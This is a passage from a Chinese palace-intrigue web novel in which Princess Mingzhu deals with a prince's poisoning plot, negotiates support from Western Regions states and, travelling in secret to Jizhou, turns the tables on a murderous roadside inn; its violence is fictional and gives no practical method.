“母妃心急如焚，却不敢轻易开口请求父皇出兵，所以臣弟才斗胆来求皇姐相助，只要大梁能出兵相助，想必能解山北之祸。
“皇姐请细想，西域以天山相割，分为山北六国、山南六国，倘若山北被戎狄踏破，那么山南也将朝不保夕，届时戎狄与大梁腹地就相隔不远了。”
邻国开战，大梁的确不能独善其身，否则待戎狄吞并西域诸国，便与大梁仅以河西相隔，倘若来犯，大梁终将腹背受敌。
“既然如此紧迫，
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为什么不见西域来信，请求大梁出兵相助，而令你一个大梁皇子私下求我？”明珠怀疑道。
“皇姐有所不知，西域诸国之所以多年未成统一之势，皆因山南与山北素来积怨，山北不比山南富饶，荒漠众多，山南六国有意将割舍山北六国，以阻挡戎狄来袭，恐怕待到山北被戎狄踏破，才会向大梁求助。”
丽嫔出身山北六国之一的乌孙，当初为保全母国，才甘愿被进献大梁，因语言不通，凡事都需要有人在旁翻译，如同供人赏玩的夜莺孔雀，即便美貌，也不算得宠。
而作为丽嫔亲随的翻译侍女，都出自山南，就此事上与她并非一心，她能托付的唯有自己的亲生骨肉四皇子，可惜四皇子连见一面父皇都总被推三阻四。
“如今我已不在大内，且久不入御书房。”明珠试探道，“这些话你为何不与二皇子说，他必也懂得这些道理，难道他不肯帮你？”
李凌煜无奈一笑，脸上带着几分讥讽。
“即便相求皇兄，也只怕皇兄会和山南六国一个想法，置山北六国于不顾。”
明珠沉默，对方说的并非不可能。于李凌霄而言，山北六国原本就没有相助的必要，除了戎狄的版图能进一步扩大外，其效用所剩无几，若大梁为其大动干戈出兵，救下的也只是人数寥寥的几个部落，不划算。
最重要的一点，李凌霄并不把李凌煜放在眼里，起初便是李凌煜上赶着讨好，而身为异族血脉，四皇子既构不成皇位竞争的威胁，又因西域势力薄弱，难以成为助力，所以李凌霄不屑拉拢，也不必为了他去相求皇帝派兵援助。
“那你怎么认定我会帮你？”
“皇姐当初从宫里带走戎狄王子，想必是知道了天牢下毒之事，那件事——是我做的。”见她并不意外，李凌煜诧异道，“皇姐早就知道？”
“知道，是你联络鬼方祂，帮他把毒药下给翟渠吧。”
“是，但这件事，是二皇兄派我所为。他想躲在我身后，在你面前做个好人，算盘可就打错了。”
“什么？！”
一股寒意从脊梁爬上头顶，明珠不禁缩紧了身体。
“李凌霄派你去做的？你的意思是，是李凌霄想毒杀翟渠？”
此事若是李凌霄所为，那当时她提及翟渠中毒之事，他竟还能装出一副全然无知的样子。
难怪啊，李凌霄原本态度坚决，要将翟渠囚于质子或是处死，可一听到下毒，态度就缓和了，她本以为是他思虑周全，没想到是怕引火烧身。
“李凌霄，为什么要杀他？”
172.生为刀俎，谁为鱼肉
那种情境下杀了翟渠，无异于拿北境军民的性命和戎狄火拼，戎狄若以举国之力攻城，大梁讨不了一点好处，北境那一仗说不定还要战败。
李凌霄并非做事偏激之人，为何要执意取翟渠性命。
“皇姐，在你眼中，皇兄是个怎么样的人，威严持重、卓尔不群的天之骄子，还是自私狭隘、城府颇深的阴狠小人？
“在我眼里，皇兄只是个善于伪装的胆小鬼。”
李凌煜仿佛彻底放飞自我，说出的话极尽嘲讽。
“他杀翟渠，是因为他怕他。即便知道戎狄会因此无休止地报复，即便狼烟焦土、尸横遍野，他也要提前铲除这个将来的对手。”
二皇兄就是这样的人，一个只要他视为威胁，就会不择手段清除的人，无论对方是谁，是何等身份。
噼里啪啦，火花在笼中炸响。两个硕大的阴影从脚边蔓延，攀爬到漆红的窗棂，影子没有耳目，却好似鬼祟偷听。
“李凌霄为人，我自有定夺。”明珠倾身，影子随之向前侵占，“可你告诉我这些，又有何意。”
“臣弟不愿为人鱼肉，臣弟愿做皇姐手中的刀俎，那些不见光的事，不便让世人知晓的事，都交给臣弟去做吧。”
炭烧得很旺，火红的光映在眸子上，仿佛摄人心魄的魔。
“皇姐不是最讨厌十三弟他们，将来若想叫他们消失，叫他们不治身亡——”
闻言，明珠抬手，示意他不要继续说了。李凌煜忽而笑了，像是看着涉世未深的人，流露出了荒唐的单纯。
“皇姐或许觉得此话狠毒，可皇城之中，没有谁是全然纯洁，每个人的手上都滴着无辜之人的血，只要能达成所愿，臣弟不怕遗臭万年。”
李凌煜媚眼如丝，宛如蛊惑。
“皇姐，臣弟这把刀，好用。”
“是嘛。”
此人确系阴狠之人，可他既然能在自己面前出卖李凌霄，又何尝不会为示好他人出卖自己。
大势所趋的二皇子，蛰伏人后的八皇子，备受偏宠的十三皇子，将来夺嫡之势必然凶险，将此人收于麾下，倘若他投靠于谁，自己便是他奉于人前的筹码。
即便他真心投诚，可这张投名状，究竟是如虎添翼的翼，还是寄生宿主的蛊，都还难以定夺，和李凌煜联手为时尚早。
“这些表忠心的话，我不需要，同样，也不需要你为我遗臭万年，今日之言，我就当从未听过。”见他面露焦急，明珠继续道，“我会向父皇请命，派兵西域山北，阻拦戎狄。”
“既然皇姐说不需要我，又为何要帮我？”李凌煜不解道。
“我有我自己的原则，”明珠起身将斗篷披上，浅笑道，“不需要向别人解释。”
推开门，宴会早已换了配乐，一曲欢庆，仿佛阖家喜悦，脉脉温情。席位上，李凌霄的脸上已染上一层红晕，与人攀谈时仍带着淡淡笑意，见身旁之人回来，才皱起眉头，话中似有埋怨之意。
“长姐去哪儿了？”
“与人私会。”
“？！”李凌霄瞳孔一震，想起她方才那番言论，问道，“长姐是在说笑吧。”
明珠觉得有趣，支起下巴看向他。
“你觉得呢？”
“……我不知道。”李凌霄绷着脸，赌气道，“长姐与人私会就私会，说与我听干什么。”
“不是你问我的吗？”
“我问长姐，长姐就说吗，我想问的事情多了，你都能一五一十地回答我吗？”李凌霄愠怒道。
怎么还急了？
“行呀，你问。”明珠挑眉，一脸坦荡无疑。
“……”
李凌霄张了张嘴，注视着眼前这张面孔，她看自己的眼神，和看其他人并无差别，不知为何，心里又恼又委屈。
“长姐，倘若我什么都不是，不是天皇贵胄，而只是个乡间草民，无能、无用，一辈子碌碌无为，你还会如此待我吗。”
听他所言，明珠不禁感叹，不愧是天皇贵胄，连患得患失时都如此傲慢。
乡间草民，亦是普罗众生，他们日夜耕耘，勤恳劳作，到了李凌霄口中变成了无能、无用，普天之下多少人求生都难，而你李凌霄又在求什么。
明珠懒得顺他的意，故意道，“若是如此，那我可能就遇不到你了。”
李凌霄被噎得没话说，闷着头，猛灌一口酒。
“长姐想气疯我吗……”
“别这样嘛，”明珠忍俊不禁道，“你放心，无论你身处何位，都是我弟弟。”
听到这句话，李凌霄忽而泄了气，他想听的不是这句话。
“长姐一贯会哄人。”
歌舞闭幕，宫宴散场。
夜已深，明珠宿在宫中，着人递信给菊若传她明日进宫，今日与李凌煜商讨之事，她虽承诺，却并非善心大发，只是暂时不想与李凌煜为伍。
她所求，还需与另一个人商量。
次日，菊若应召进宫。
“我记得你懂西域语。”
“是，学过些皮毛。”菊若不知何事，不敢托大，谦虚道，“不敢说懂，对话倒是没问题。”
过去花楼里也有些西域女子，老鸨会让她们跟着学西域的打扮和舞蹈，以娱宾客，那时的她只是懵懂地跟着别人一步步学。
现如今，在酒楼中经营，避不开要迎接八方来客，她才真正想要为自己学些本事，不再为讨好卖弄，只为提升自己，感觉全然不同。
“不
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愧是我们家掌柜的，帮我个忙，今日做我的翻译。”
丽嫔宫中，明珠端详着周围，这宫中的装潢颇为与众不同，以橙绿为主，色彩饱和。
内室悬挂着碧绿的玛瑙珠帘，帷帐色彩缤纷，角落堆叠的箱子，顶部呈圆弧状，箱身雕刻着红蓝相间的莲花纹理，桌上的灯具犹如一座座高颈毡房。
丽嫔和其侍女，俨然一副西域打扮。
明珠看向一旁的侍女，说道，“我有话，想单独与丽嫔娘娘说。”
“殿下见谅，我们娘娘不懂梁语，奴婢若不在此，恐怕与长公主殿下交流不便。”
“无妨，双语翻译，我身边人也做的。”
“可……”
侍女一脸为难，却丝毫没有退出去的意思。
“难不成你西域子民，即便身在大梁后宫，也能对大梁长公主所言充耳不闻。”明珠目光犀利，“那不如，你在此替西域称王，把我驱逐出去。”
“奴婢不敢！”侍女急忙叩拜，“奴婢这就告退！！”
见侍女出去，丽嫔好似松了一口气，手势示意长公主落座。
“既然娘娘不通梁语，那我就长话短说了。”明珠边说，身旁菊若边翻译，“我知道戎狄入侵西域山北，屠城掠夺，娘娘母国危在旦夕。”
丽嫔焦急地点头，说道，“没错，我想求陛下相助我母国，可身边人说我不得宠，陛下不会答应出兵，我没有办法。”
“娘娘放心，我今日前来便是想要相助娘娘，我会去劝父皇出兵，若此事能成，我希望娘娘传信回去，转达我的条件。”
听到对方愿意相帮，丽嫔眸中泪光涌现。
远离故乡，奔赴异国，原是为国求一条生路，随她而来的侍女日夜监视，她成了供人豢养的金丝雀，在这大梁皇城举目无亲，无人可信。
无数个梦里，她想起回家的路。
那条路上布满黄土沙砾，两侧支起葡萄藤架，耳边是家乡传唱的摇篮曲，路的尽头有阿帕阿玛，有弟弟妹妹，还有乌孙的乡民，都在等着他们的阿里娅公主回去。
“若殿下肯帮我，无论什么条件，我一定答应！”丽嫔握住明珠的手，感激道，“只要能度过难关，山北六国必将报答殿下的恩情！”
菊若见状，想上前阻拦，明珠冲她摇了摇头。
“娘娘不必心急，不如先听完，冷静一些再做抉择。”
丽嫔点头，掏出帕子擦拭完眼泪，端正姿态听明珠继续说。
“我的条件无需现在兑换，只是要一个立场，若山北六国能借机逃过一劫，得以重振，我要得到他们的拥趸，不是对梁国，不是对梁国皇帝，而是对我的忠诚。
“将来，我的选择，便是山北六国的选择。”
173.冤家大乱斗
野心之说，震耳发聩。
丽嫔愣在原地，久久不能回神，胸口像被什么堵着似的，喘不上气，她不知长公主殿下为何要得到山北六国的支持，但她想帮她，不仅是想抓住这棵唯一的救命稻草，她也想看看眼前这个女子能做什么，能做何等地步。
自古以来，那些身不由己的命运，能被改写吗？
“好，我愿向长公主殿下承诺，若殿下能出手相救，山北六国将誓死追随长公主殿下，世世代代。”
言已既出，刻不容缓。
此番往西域派兵，明珠早有谋算，戎狄所求，一来扩充领地，而西域山北并无适宜畜牧的草场，二来补充先前战事耗损，如此，就有的商量了。
得皇帝首肯，将丽嫔的信与和谈书寄去的同时，明珠特派裴元为将领，率两百军，押运五百石粮草、一百只羊前往西域。
“你们此趟以和谈震慑为主，不必与之交战，以粮草换取西域部落存息，这笔买卖戎狄也划得来。”明珠叮嘱道，“能达成目的固然好，但你们记住，若有意外即刻撤回，我大梁每一个将士的性命才尤为珍贵。”
闻言，裴元率众人跪拜，郑重道，“臣等谨记，定不负殿下所托。”
队伍远去，明珠站在城墙之上，默默祈祷，望他们此行顺利。不知何时，李凌煜也爬上城楼，与之并肩。
“皇姐既然肯帮，为何又不要我，就这般嫌弃臣弟？”
“我说是，你会伤心吗？”
“……自然不会，是臣弟自作聪明。”
“骗人。”明珠莞尔，垂眸道，“李凌煜，别掺和进来，好好留着你的性命陪你母亲吧，她只有你一个亲人在身边。”
正月十五，子正已到，新日初始，普天同庆。
宫宴上受伯爵夫人所邀，听说画舫同游的都是些相熟之人。
京城车水马龙，亮如白昼，游行的队伍举着一人来高的绣球游龙，龙头硕大，栩栩如生，龙身蜿蜒，在人海中穿梭而行，配乐的箫鼓将欢庆奏遍大小街巷，人们的笑眼中映着亮晶晶的灯火。
头顶上，成排的宫灯被点亮，红油纸伞挂满墙，房檐、树梢、凭栏，人们的手中皆是灯笼，圆的扁的、方的菱的、兔子的、锦鲤的，令人眼花缭乱。
沿着河岸，画舫缓缓前行，岸边铁花迸发，炫光夺目，如雨般倾洒水面，不远处的画舫中，传出一阵阵银铃般的笑。
笑声听着如此祥和，也不知是谁家。
“长姐在想什么？”
身旁，李凌霄递来一杯普洱茶，明珠接过，瞥一眼自己这艘船内，不由叹了口气，没想到伯爵夫人所说的相熟之人，竟是这几位冤家路窄。
除了伯爵夫人家的公子小姐，董向阜和齐侯家的两位小姐齐慧雯、齐念雪也受邀在列，想是伯爵夫人顺便巴结下董齐两家，这倒也算情理之中。
最离谱的，居然还有三王家的世子李栋和郡主李杉。
“我在想，伯爵夫人真是慧眼识珠。”
贪多嚼不烂啊，硬生生把四个仇家凑在一起，眼下这艘船里气氛尴尬得要命，大家各自看不对眼，指不定什么时候说翻就翻。
这种场面，她连句寒暄都说不出口，也就李凌霄能处变不惊挑起话题。
“将军预备年后返回北境吗？”
“暂时不用，如今北境无虞，祖父年岁已高，身子也不大好，陛下特许臣暂留京中，为祖父侍疾。”
听他们这边说话，伯爵家的二公子瞅准时机，立马加入。
“我怎么听说，董老夫人已经开始给将军物色夫人了，”冯二公子瞄了一眼明珠，故意道，“难不成，是我听错了？”
自从宫宴上长公主语惊四座，次日便传遍京城内外，那些话自然也传到了董老夫人的耳中，纵然她先前再中意，可董老将军的身子一日不如一日，心中唯一盼望的便是孙子的婚事，董家等不起。
于是，董老夫人便生出了为孙儿另谋亲事的念头，她本出身名门，其母族林氏在大梁朝堂亦是举足轻重，林家累世官宦，早些年便向她提起过联姻，只是当时碍于长公主的痴缠，时不时就上门探访，眼见宫里陛下纵容，董家拿不准陛下的意思，也就不敢轻易答应林家。
现如今，既然长公主公然说出了那样的话，陛下的态度又模糊，想来不会对董家再有想法，董老夫人便想从林家适龄的姑娘中，为董向阜选一正妻。
此事与董向阜商量后，董向阜沉默了片刻，说祖母做主就好，年后林家便会来董府做客，名为探亲，实为相看，此事几乎也就定下来了。
董向阜并不避讳，回道，“是有此事。”
话音刚落，不知谁脱口而出一句。
“那长公主殿下……”
众人的视线不由自主地投向明珠，明珠喝茶的手一顿。
“？”
不是，董向阜相亲，关她何事啊？
“唉，”冯二公子故作惋惜地摇头，说道，“果然如此，难怪长公主殿下在宫宴上说出那番言论，京中谁人不知殿下对将军情有独钟，却不想将军如此不怜香惜玉，真叫京中男儿痛心，若是我，定然不会辜负殿下。”
说
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着，还往明珠这边抛媚眼，明珠嫌弃地移开视线。
李凌霄冷眼打量着他，“若是你？”
“呃……”冯二公子一阵畏缩，说道，“臣自然不配，只是心中为殿下不平罢了。”
“用得着你为殿下不平，也太把自己当回事了，二弟。”
说这话的人乃是伯爵家大公子，二人生母不同，素日互相不对付，冯大公子早看不惯冯二那副哈巴狗的讨好模样，出言挑衅。
火药味在几人中蔓延，明珠防不胜防，万没想到这导火索竟是东道主自家人引燃的。
果不其然，混战一触即发。
自从上次故意推人落水，自觉被明珠拿捏的齐念雪，妄图在此扳回一局，便忍不住上前加入这场辩论。
“就是，天底下落花有情、流水无意之事多了，有多少女子对董将军倾心，难不成都叫她们如意？”
闻听此言，李杉嗤笑一声，虽说她两边都不乐意相帮，却也不想叫齐念雪痛快，上次在苏尚书家，齐家这两姐妹咄咄逼人的架势，她如今想来还气。
秉着看热闹不嫌事大，李杉拱火道，“这话说的有趣，难道齐二小姐是指董将军看不上长公主殿下？”
齐念雪脸色一变，“我可没有那个意思，郡主别污蔑我。”
“我污蔑你？你当大家都是傻得不成，由得你糊弄。”李杉故作恍然道，“啊！莫不是齐二小姐实则钟情将军，才如此拈酸吃醋，难怪啊——”
“你胡说什么？！”齐念雪慌忙瞥向二皇子，见他面色不虞，以为是误会她喜欢董向阜，慌忙道，“我才没有，郡主怎能空口污人清白，我钟情谁与郡主何干！长舌妇！”
“念雪……”齐慧雯偷偷拉妹妹的衣袖，示意她别再说了。
当着二皇子殿下和众人的面，在此与郡主争执这种不体面的话，没有一点儿大家闺秀的矜持，不光是妹妹自己，连带着把她的脸也丢了，叫旁人知道，还以为齐家的女儿都是如此尖酸泼辣，不知羞耻。
一向沉默寡言的李栋，也开口制止妹妹。
“杉儿，话不能乱说。”
全程明珠虽没说一句话，却已精疲力竭，眼见双方兄姐出手，战火将息，好不容易松了一口气。
这时，角落里一个恍若单纯的声音又响起。
“若按郡主所言，齐二姐姐钟情将军，那大哥你为何说，齐家姐姐都是为了见二皇子殿下才来的？”伯爵家的小女儿看向众人，继续问道，“二哥不是说郡主喜欢女子吗，怎么她不喜欢齐家的姐姐？”
哦吼，完蛋。
174.冀州自由行
冉冉升空的流星，在头顶炸响，犹如落英缤纷，繁星闪烁。元宵佳节在烟花声与谩骂声中落幕，趁着夜色，明珠乘上前往冀州的马车。
行李早就打包收拾好，傍晚出发，此时进出城门的行人多，便能更隐蔽些，避开他人耳目。
“你今日不是去游船吗，怎么这么早回来？”桑吉问道。
“再不走，我怕他们追上来。”
“他们是谁，为何会追殿下？”竹临皱眉道。
“魑魅魍魉。”明珠冲他们噤声，神秘道，“都怪那一日，人们听到了不该听的东西。”
闻言，桑吉和竹临二脸疑惑。
“殿下，咱们就这么偷偷去，成吗？”梅辛忐忑道。
“放心，我都打点好了。”
九方赌馆内，松芜拆开桌上的信，刚看了两行，就丢下信纸匆匆跑出去。与此同时，菊若也看到留言，慌忙赶回长公主府。
一个前厅进，一个后院入，却皆扑了个空。
偌大的房中，唯余两人面面相觑。
“冀州？！”菊若诧异道。
她在醉仙楼收到的留言中说，殿下要出门些时日，让自己安心在家住，若有访客帮忙应酬下，谁知竟然是偷偷跑去冀州？！
“小声些，”松芜关上门，说道，“殿下说梅辛的真实身份是冀州顾氏的掌门人之子，且冀州那边已经发现了他的存在，派人来阻挠其返回，殿下才决定陪梅辛一同去冀州。”
看到殿下信中所写，松芜才不由恍然大悟，难怪梅辛肯在曲昶之事上为他效劳，这二人竟是世仇。
顾氏虽为旧案，在京中却也称得上不小的谈资，短短一年时间，风云剧变，许多人仍对当时的情形历历在目，松芜也多少听说过。
“这外头又天寒地冻的，殿下怎么吃得消。”菊若忧心忡忡道，“冀州离京城山高路远，殿下不会就带那些府兵去吧。”
窗外夜色渐深，归于寂静，松芜眉间忧虑难解。
“你来时，没见侍卫长他们都在嘛。”
菊若瞪大眼睛，“不会吧？！”
殿下出远门，竟一个侍卫都不带！
都怪自己这些时日，因郡主上门之事不敢面对殿下，躲在醉仙楼没回家，否则这么大的事，怎么能由得殿下先斩后奏。
而松芜长叹一口气，似是已经接受如此结局。
“殿下微服出访，恐怕就带了那几人。”
梅辛、竹临，兴许还有桑吉，但这几个管什么用。
“追吗？”菊若蹙眉道。
“我派人去追了，只是冀州那地界特殊，尽是些绿林当家，那些家伙在江湖上混迹多年，一般人难逃法眼。”
冀州虽三教九流鱼龙混杂，却都是江湖人士，彼此多少都打过照面，有生人贸然出现逗留，必遭怀疑，他派的人越多，反而越坏事。
“希望殿下能安然无恙回来。”
夜半更深，乌鸦鸣叫，马车在道上驰骋，驶离京城，两旁的平坦土路收拢，树木渐密，新春伊始，万物复苏，树干上新发的枝条抽搐着，仿佛挥舞的马鞭。
不远处，前方隐隐有暗红的光闪烁，定睛一瞧，原来是被风凌乱的两对灯笼。
“小姐，前面有间客栈。”
“好，先下去问问。”
梅辛下马，叩响木门。过了一会儿，听到门闩打开的声音，里面有一小个子的男子探头出来。
“劳驾，还有空房吗？”梅辛问道。
小个子男子贼眉鼠眼地打量了一番，见他腰间别着剑，又往他身后看了看。
“没有。”
说着，就要关门谢客。
“欸，”梅辛一把挡住木门，笑道，“店家通融下，这都入夜了，怎好叫人露宿街头，有一间空房就好，我们能凑合。”
小个子男一脸不耐烦，冲梅辛白眼道，“说了没有就是没有，滚蛋！”
“算了。”明珠从马车上探头出来，说道，“再往前走走吧。”
闻言，梅辛松开手，那小个子男却忙喊住人。
“等等！”
见马车上是一年轻女子，小个子男立马换了一副模样，殷勤摆上笑脸。
“有房，有房，客官别急着走啊，这大黑天儿在外多不安全，过了咱们这家店，再往前可得走好一阵子才能找到地儿落脚，过了这村可就没这店了。”
“方才不是说没有房吗？”明珠问道。
“诶呦，这不是小的有眼无珠，没瞧见小姐您嘛，咱这客栈的厢房可不轻易留给外客，也就是见小姐您容姿不凡，小的这才斗胆替我们掌柜的做主。”
梅辛抱着肩膀，了然地看了眼小个子男，扭头询问明珠。
“小姐，如何？”
明珠扫了一眼漆黑的牌匾，说道，“就这儿吧。”
一行人从马车上下来，见随行还有一少年，腰间也别着剑，看样子是练家子，小个子男的脸色顿时垮了。
“怎么还有人？”
“不是说有房吗？”明珠皱眉道，“怎么多几个就住不下了？”
小个子男眼珠子提溜转，回头瞟了一眼伙房，说道，“有是有，可雅间就一间，自然得留给小姐您，这两位小兄弟怕是要在柴房挤一挤。”
“这倒是无妨，我家小姐有地儿住就成。”梅辛笑道。
雅间在后院，柴房紧挨着马
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厩，这间客栈虽不大，两处却也隔着两层院墙，梅辛安置好马车，竹临陪着明珠逛了雅间，几人又回到大堂。
“小姐可还满意？”小个子男问道。
“挺干净的，就这间吧。”明珠掏出银钱，说道，“可那柴房能住人吗，不行你多拿几套被褥来，让他们在雅间打地铺。”
“能住的，小姐别担心。”小个子男忙说道，“说是柴房，其实床、桌子一应俱全，平日里客栈人一多，房间不够用，那间便就腾出来做客房，不碍事的。再说了，小姐千金贵体，怎好和男子住一屋，这客栈人来人往，叫人瞧见那可如何是好。”
小个子男苦口婆心地说着，明珠也就没再坚持。
“行吧，那就委屈他们一宿。”
“得，您几位先坐着，小的这就把柴房收拾出来。”小个子男端来一壶茶，边倒茶边问，“几位可要用饭，小店别的没有，酱肉可是一绝。”
“好，那便尝尝。”明珠打了个哈欠，说道，“不过，这一路颠簸，甚是疲惫，还得收拾行李，吃的就直接送到房间吧。”
“好嘞。”
待柴房腾挪干净，几人便各自回房。
雅间内，明珠看着桌上的酱肉，已被一片片切好，她拿起一片，不用凑近便能闻到上面香料味极重，肉味和其他杂味皆被掩盖。
不多时，房中烛火一一熄灭。
伙房人影骚动，几名汉子蹑手蹑脚地来到柴房外，大刀在月光下闪烁着骇人的寒光。
“如何？”
“我听了，没动静。”小个子男趴在窗边，悄声道，“茶里和酱肉里都是秘制的蒙汗药，不会有差错。”
“羊羔呢？”
“在雅间，那边三哥去了。”
“这臭小子，看见女人就走不动道了，跟他说这次不许私自下手，那女子金贵，能卖个好价钱。”领头的汉子，冲手下示意道，“动手！”
吱呀——
柴房的门被推开，月光从门后倾洒，照亮床榻，上面俨然空无一人。
“人呢？！”
身后传来戏谑的声音。
“在找我们？”
循声，那些人猛地回过头，黑影正站在他们身后，手中刀斧犹在，却丝毫来不及反应。刹那间，刀光剑影，血光四溅，一个个脖颈喷涌出鲜血，断了气息，接连倒地。
小个子男瑟瑟发抖地缩在角落。
“英雄！英雄好汉，别杀我！小的是被他们逼的！！”小个子男显然被眼前一幕吓住，抱着脑袋，连话都说不利索，“雅间！雅间他们还有人去了！”
隔着院墙，却听到一声哀嚎。
“救命啊！！！”
175.瓮中捉鳖
时间回溯到烛火熄灭前，明珠将窗户打开，窗外月光笼罩，唯有风声，隔壁的房间自始至终暗着，偶尔能听到细碎的动静，似有似无，如同鼠迹。
她慢条斯理地将铺盖铺好，吹灭了灯，没过多久，隔壁传来骚动的脚步声，门口映出一个身影，轻手轻脚用钩子撬动门闩。
那身影贴在门上，望眼欲穿，只听啪嗒一声，门闩脱落，他搓了搓手，将裤腰松了松，迫不及待闪身进屋。
刚迈进厢房，突然，眼前一阵白茫茫，不知从何处泼洒的粉末飞扑到脸上。
“什——”
还未等人反应过来，脸上顿时瘙痒难耐，他忍不住用手抓挠，指甲中似有异物，一边抓挠，一边拿近观瞧，那黏乎乎的恶心玩意儿，竟是自己的皮肉！
脸颊仿佛被腐蚀，从中挖出凹陷，混着浓浆和血液，一缕一缕从指缝中脱落。
“啊——！！！”
那人捂着脸，发出一声凄厉的惨叫，从雅间跌跌撞撞地冲出来，不慎被脚下的台阶绊倒，摔了个狗啃泥。
“救命啊——！”
屋中，明珠听到尖叫声，知道是桑吉下的手，起身时那人早就逃了出去，她看向蹲在窗台上的桑吉。
“你用的什么毒啊，怎么他这就跑了？”
桑吉瞟了眼地上的肉泥，说道，“你还是不知道为好。”
柴房内，竹临和梅辛把剩下的人收拾完，走出来正碰上匍匐地上的这家伙，不由心惊，此人面目全非，脸上的血肉和泥土混在一起，早就看不出五官，犹如化形厉鬼。
那人呜咽了几声，便没了气息，相比较柴房中的几人，死状尤为凄惨。
“啧，下手真狠。”梅辛咋舌道。
随后，他们又搜查了这群人先前藏匿的伙房，已不见有人的痕迹，灶台旁摆着腌好的酱肉，酱料里加了十足十的蒙汗药，酒坛、茶壶也都未能幸免，恐怕倘若他们今夜吃了这里一口肉、喝了一口水，便要昏死过去。
后院中，明珠环视四周，夜里闹出这么大的动静，其余几间房仍一片死寂，看来此处本就无客居住。这家店，表面是穷乡僻壤的乡野客栈，实则就如同吃人不吐骨头的林中巨兽，一砖一瓦俱是伪装。
“都处理好了？”
“是。”梅辛上前回禀，“加上店小二，一共八人，都是些三四十岁的精壮男子，后院有两辆拉货的板车，上面能看到血迹和碎发，应是之前被绑的人留下的。”
看来以此道行事已久，死有余辜。
那小个子男便是看饵的钩子，一瞧是过路的商贾或有年轻女子便殷勤笼络，待将人迷晕，谋财害命，女子就绑走发卖到窑子，这是黑店惯用的伎俩。为保险起见，不会同时接待多客，以免有所疏漏。
正如见到他们几人时，巴不得把梅辛他们支开，司马昭之心，路人皆知。于是，明珠决定将计就计，她令桑吉隐匿外间埋伏，免得人太多遭到忌惮，叫这群人不肯轻易下手。
果然，不出一刻，鱼就上钩了。
“能睡个安稳觉了。”
说着，桑吉迈步往明珠房中去，被梅辛一把薅住领子。
“桑吉小弟想去哪屋睡啊，怎么，是嫌弃哥哥们？”梅辛揽着他的脖子，说道，“当初送你回戎狄，同吃同住的时候，可没见你这么不乐意。”
“放手，否则毒死你。”桑吉冷冷道。
另一边，竹临已将柴房的门关好，不叫血腥气露出来，走到后院时，见梅辛和桑吉正在厮闹，明珠安稳地站在一旁。
“小姐去休息吧，属下就在外面值守。”竹临上前说道。
纵然贼人已清，他还是不放心殿下独自。可出门在外，本就舟车劳顿，明珠也不忍他们还要护卫自己，值夜辛劳。
她扫了一眼三人，笑道，“我有一个主意。”
夜深，门窗紧闭，灯火再次被吹灭。
作为黑店，这家亦有可取之处，厢房里收拾得甚为不错，被褥晾晒得干净，里面棉花也是实心的，盖在身上一会儿就暖和起来，明珠刚要入睡，就听见地上接连传来窸窸窣窣的骚动声响。
终于，桑吉按捺不住开口。
“我为什么要和他们睡在一起……”
明珠床边，地上三个人并排躺着，桑吉被挤在中间，一左一右浑身不自在，竹临倒是老实，梅辛却狗皮膏药似的贴上来，故意膈应他。
“好了好了，一会儿有坏人哥保护你。”梅辛拍了拍他，安抚道，“赶紧睡吧。”
“滚开。”
明珠闭着眼睛，淡淡道，“谁再说话乱动就跟我换，我打地铺，你们来床上睡。”
“……”“……”
万籁俱寂，后半夜风平浪静。
四周响起均匀的呼吸，黑暗中，一双眼睛缓缓睁开，望着房梁出神，良久，发出一声微不可察的叹息。
此一行冀州途中，梅辛总与人嬉笑打闹，全然看不出异样，仿佛此行只为巡游玩乐，还一有机会就捉弄桑吉，惹得桑吉如同炸毛的猫，兹要他一靠近，就逃窜无影。
“离我远点！”
“桑吉小弟别这么认生嘛，咱们这都相处多久了，等到了地方，哥领着你去猎兔子玩。”梅辛又舔着脸，凑到桑吉跟前，“你——”
话说到一半，梅辛怔住，张了
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张嘴，却怎么也发不出来声音。
“怎么了？”明珠发现了异常，一扭头，就见桑吉眼中显露得逞之意，怀疑道，“不会是你把他毒哑了吧？”
“谁叫他话那么多，活该。”
桑吉不置可否，不能毒死他，自己也有的是法子治他，总能叫这家伙安生些时日，不在耳边聒噪。
清楚了始作俑者，梅辛笑眯眯走上前。
“你要干嘛？！”
突然，肩膀被猛地扣住，往下一个背摔，桑吉就被丢在地上，发出哀嚎。
北上小路比官道便捷，水路通畅，此行较当初押运粮草时走得快多了，不出半月，冀州塔就在眼前，明日便能到达治所信都，而白乾那边早先一步抵达，待与他们汇合。
黄昏下，廊前院后堆砌着的初春嫩芽，被染上一层暖意。
朝连廊深处走去，柱子后藏着一人，手握一柄梆笛，倚着砖墙，独自望着那座耸立的塔尖。笛声高亢嘹亮，曲意洒脱致远，可不知为何，越近故乡，越生胆怯。
曲毕，身后之人走近。
“从前没见你吹过。”
“儿时学过，可惜只会这一首，怎敢在您面前卖弄。”
“无妨，你吹什么我都爱听。”
梅辛笑了，心中忽然安定了几分，也许只有经历过的人才会懂，在前路未知的境况下，有一人能为自己兜底，且无条件地支持自己，对自己而言，会是多大的安慰。
“您想好要以什么身份出现了吗？”
“从出发时我就在琢磨，你说，我是当你的同甘共苦的结拜姊妹呢，还是当被你拐骗的富家千金呢？”
梅辛疑惑道，“为何会有后者？”
“这不是怕他们把我当外人，我若是你媳妇，不就也算半个冀州人了吗？”明珠觉得这个主意绝佳，分析道，“到时候便能趁机他们套话，多方便的身份。”
“媳——”梅辛瞪大眼睛，脸肉眼可见的红了起来，“您怎么能……怎么能这样！不妥！这不妥！若叫人发现了殿下的身份，到时候可如何是好？！”
“你急什么，我这不是在商量嘛。”
“属下、属下不同意！”
“好好好，”明珠忙安抚道，“不行就不行嘛，怎么还怕我误你清白啊。”
“我不是……”
梅辛难得嘴笨，憋得说不出话，他急躁地揉了揉头发，脸上的温度烫得惊人，尤其见明珠还一脸坦荡，心里就更憋屈了。
“总之，您不能当我媳……诶呀，我不管了！”
说罢，梅辛埋着头就走了，半路还被门槛绊了一跤，惹得明珠忍俊不禁。
176.要打此路过
冀州的人文风貌，与北境的整肃祥和截然不同。北境若是熊熊燃烧的火，时而猛烈凶悍，时而温和暖人，那冀州就是风，洒脱快意，仗剑天涯，仿佛闯进武侠的世界。
远山墨绿，处处皆是悬崖绝壁，瓷白瀑布自上而下倾泄，在断壁处铺展为水帘幕布，内里潭面上立着几桩石柱，隐约看清那处修炼的苦行客。
门楼前，一个其貌不扬的乞丐被人不慎撞翻了碗，只见他起手运转，那只碗不仅稳稳落回手中，几颗圆润果子尽数重新滚至碗盏之中。
恍若气息在手中停滞，在体外盘旋，动中有静，静中亦动。
